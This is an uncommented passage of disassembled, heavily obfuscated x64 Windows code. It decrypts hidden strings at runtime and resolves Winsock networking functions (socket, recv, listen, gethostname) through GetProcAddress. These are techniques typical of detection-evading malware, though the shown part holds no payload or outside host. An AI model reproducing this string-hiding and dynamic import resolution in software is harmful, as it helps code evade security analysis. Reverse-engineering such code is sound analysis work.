movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400650b7
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
jmp 0x1400650e3
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
sub r9b, 0x71
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x17
mov byte [rbp + r11 + 0x230], dil
inc r11
jmp 0x140064634
lea ecx, [r9 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3d
cmp r8, 0x28
jb 0x140064a6c
lea ecx, [r9 + 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x24]
jmp 0x140065010
lea ecx, [r9 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x63
cmp rbx, 0x5a
jae 0x140064f4f
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x140064e76
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x140064a92
lea ecx, [r9 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x140064f8f
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140064d7b
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x140064acc
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x1400650e3
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x1400650b7
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065077
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065074
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064f68
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
dec r11
inc r11
jmp 0x140064634
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140064634
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x140065010
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x140064c97
lea ecx, [r9 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x140064b11
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064ccf
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064cf8
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065074
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064d24
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
dec r11
inc r11
jmp 0x140064634
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064d53
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
inc r8
dec r11
inc r11
jmp 0x140064634
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140064b11
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x140065010
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064d9f
lea ecx, [r9 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x140065010
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140064dca
dec r9b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 7
dec r11
inc r11
jmp 0x140064634
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064df0
add r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6b
jmp 0x140065077
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140064e14
lea ecx, [r9 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
jmp 0x1400650b7
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140064e3a
sub r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x49
jmp 0x1400650e3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140064acc
sub r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x23
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064eae
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064ed6
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400650b7
cmp rbx, rcx
jne 0x140064efb
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065074
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140064f27
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x140064634
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140064a92
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x140065010
lea edx, [r9 - 0x78]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x35
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x230], r9b
jmp 0x140065074
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400650b4
sub r9b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x41
jmp 0x1400650e3
lea ecx, [r9 + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x67
jmp 0x1400650b7
add r9b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4d
jmp 0x140065074
lea ecx, [r9 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
sub r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x5b
add r9b, r10b
mov byte [rbp + r11 + 0x230], r9b
inc r8
dec r11
inc r11
jmp 0x140064634
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
dec r11
inc r11
jmp 0x140064634
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140064634
movabs rdx, 0x715434118e267d13
add rdx, r11
movzx eax, dl
and al, sil
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x7b
movzx r9d, r11b
add dil, dl
add r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0xf
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x230], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 4
add cl, r10b
mov byte [rbp + r11 + 0x230], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x39
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
add r11, rax
inc r11
jmp 0x140064634
add r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x21
jmp 0x140064631
add r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
jmp 0x140064621
lea rdx, [rbp + 0x171ba4c]
jmp 0x1400651a5
lea rdx, [rbp + 0x17739e1]
jmp 0x1400651a5
lea rdx, [rbp + 0x230]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov byte [rbp + 0x40], 0x92
mov byte [rbp + 0x41], 0xae
mov byte [rbp + 0x42], 0xae
mov byte [rbp + 0x43], 0x82
mov byte [rbp + 0x44], __WSAFDIsSet
mov byte [rbp + 0x45], 0x9b
mov byte [rbp + 0x46], 0x8c
mov byte [rbp + 0x47], 0x9e
mov byte [rbp + 0x48], 0x67
mov byte [rbp + 0x49], 0xbd
mov byte [rbp + 0x4a], 0x9a
mov byte [rbp + 0x4b], 0x92
mov byte [rbp + 0x4c], 0x87
mov byte [rbp + 0x4d], 0xa6
mov byte [rbp + 0x4e], 0xe0
xor eax, eax
mov qword [rbp + 0x4f], rax
movabs rsi, 0x827144e3835cc8dd
movabs r15, 0x9118e23897897e0b
movabs r14, 0x8753ceaa8a165a97
movzx edi, byte [rbp + 0x400]
nop word [rax + rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x17
jae 0x140065d31
movzx r10d, byte [rbp + r11 + 0x40]
mov edx, r10d
cmp rbx, r11
ja 0x140065d28
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140065272
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0xb
jmp 0x1400652ac
je 0x140065cbf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140065c3f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140065c0c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140065bcb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140065ba6
movzx r9d, r11b
cmp r8, r11
ja 0x140065d1f
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x1400652da
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x140065310
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140065b62
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140065b3f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140065b22
cmp rbx, rcx
je 0x140065b02
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006587d
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006585e
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140065835
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006580f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400657f0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400657d3
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400657b6
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006579b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006577e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140065752
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140065320
lea rbx, [r8 + 2]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140065d02
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140065ce5
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140065505
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400654ea
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400654cf
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400656fd
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400656b4
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140065678
lea rcx, [r8 + 4]
cmp rbx, rcx
jb 0x140065653
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140065320
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140065624
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140065604
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x1400655e5
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400655c5
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x1400655a5
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140065586
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140065563
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14006553d
lea rcx, [r8 + 0x64]
cmp rbx, rcx
ja 0x140065522
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140065320
mov rbx, rcx
lea r8, [rcx + 0x61]
jmp 0x140065320
lea ecx, [r9 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x140065310
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
jmp 0x1400652b0
sub r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x33
jmp 0x140065246
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140065b7c
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
inc r8
dec r11
inc r11
jmp 0x140065233
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
dec r11
inc r11
jmp 0x140065233
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065be9
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065c23
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065c26
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065c55
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065c7e
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140065233
sub r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x51
mov byte [rbp + r11 + 0x40], dil
inc r11
jmp 0x140065233
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
cmp r8, 8
jb 0x14006566b
lea edx, [r9 + 0xe]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140065b7c
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
cmp rbx, 0x61
jae 0x140065ac4
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140065a16
lea edx, [r9 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006568e
lea ecx, [r9 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x140065ae6
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140065954
lea edx, [r9 - 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x61
add dil, dl
jmp 0x1400656ca
sub r9b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6a
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140065233
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x140065c7e
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140065c55
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x140065c26
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x140065c23
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065be9
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140065233
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140065233
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065b7c
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x1400658a1
lea ecx, [r9 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xb
jmp 0x140065713
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400658d9
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140065233
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400658ff
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x140065c23
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140065924
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3c
jmp 0x140065be6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140065713
sub r9b, 0x62
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x52
dec r11
inc r11
jmp 0x140065233
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140065979
lea edx, [r9 + 0x63]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x4b
jmp 0x140065b79
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006599e
lea edx, [r9 - 0x6f]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 9
jmp 0x140065be6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400659c4
add r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xd
jmp 0x140065c23
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400659ea
add r9b, 5
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x23
jmp 0x140065c26
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400656ca
lea edx, [r9 - 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x39
add dil, dl
jmp 0x140065c55
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140065a4e
sub r9b, 0x7c
movzx eax, r10b
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140065233
cmp rbx, rcx
jne 0x140065a73
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140065c7e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140065a9b
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140065c55
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006568e
lea edx, [r9 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xa
jmp 0x140065be6
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
add dil, r10b
jmp 0x140065be9
lea edx, [r9 - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140065c55
sub r9b, 0xf
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x69
add dil, r9b
jmp 0x140065c7e
sub r9b, 0x3d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x55
jmp 0x140065c23
add r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x29
dec r11
inc r11
jmp 0x140065233
lea edx, [r9 - 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 3
add dil, dl
sub r9b, 0x15
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x6d
add r10b, r9b
mov byte [rbp + r11 + 0x40], r10b
inc r8
dec r11
inc r11
jmp 0x140065233
lea ecx, [r11 - 0x53]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x45
inc r8
dec r11
inc r11
jmp 0x140065233
movzx r9d, r11b
lea edx, [r9 + 0x39]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x71
add dil, dl
sub r9b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x7d
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x40], cl
jmp 0x140065c23
lea ecx, [r11 + 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x79
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140065233
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x4d
movzx r9d, r11b
add r9b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x67
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x40], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140065233
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x21
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140065233
sub r9b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x49
jmp 0x140065230
add r9b, 0x17
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x5f
jmp 0x140065220
lea rdx, [rbp + 0x156f4bc]
jmp 0x140065d35
lea rdx, [rbp + 0xb3bd99]
jmp 0x140065d35
lea rdx, [rbp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov byte [rbp + 0x60], 0xeb
mov byte [rbp + 0x61], 0x3b
mov byte [rbp + 0x62], 0xcf
mov byte [rbp + 0x63], 0xcc
mov byte [rbp + 0x64], 0x3e
mov byte [rbp + 0x65], 0xca
mov byte [rbp + 0x66], 0xd9
mov byte [rbp + 0x67], 0xb8
mov byte [rbp + 0x68], 0xbc
mov byte [rbp + 0x69], 0xb1
mov byte [rbp + 0x6a], 0xbd
mov byte [rbp + 0x6b], 0x42
mov byte [rbp + 0x6c], 0x91
mov byte [rbp + 0x6d], 0x41
mov byte [rbp + 0x6e], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x6f], 0xc7
xor eax, eax
mov qword [rbp + 0x70], rax
movabs rsi, 0x697b5216538cc3b9
movabs r15, 0xe25f3e9c48d95a0f
movabs r14, 0x3c71f642faa64b2b
movzx edi, byte [rbp + 0x400]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x140066906
movzx r10d, byte [rbp + r11 + 0x60]
mov edx, r10d
cmp rbx, r11
ja 0x1400668fd
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140065e02
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0xf
jmp 0x140065e3c
je 0x140066894
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140066815
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400667c0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006679f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006675b
movzx r9d, r11b
cmp r8, r11
ja 0x1400668f4
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140065e6a
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
jmp 0x140065ea0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140066743
lea rax, [r8 + 2]
cmp rbx, rax
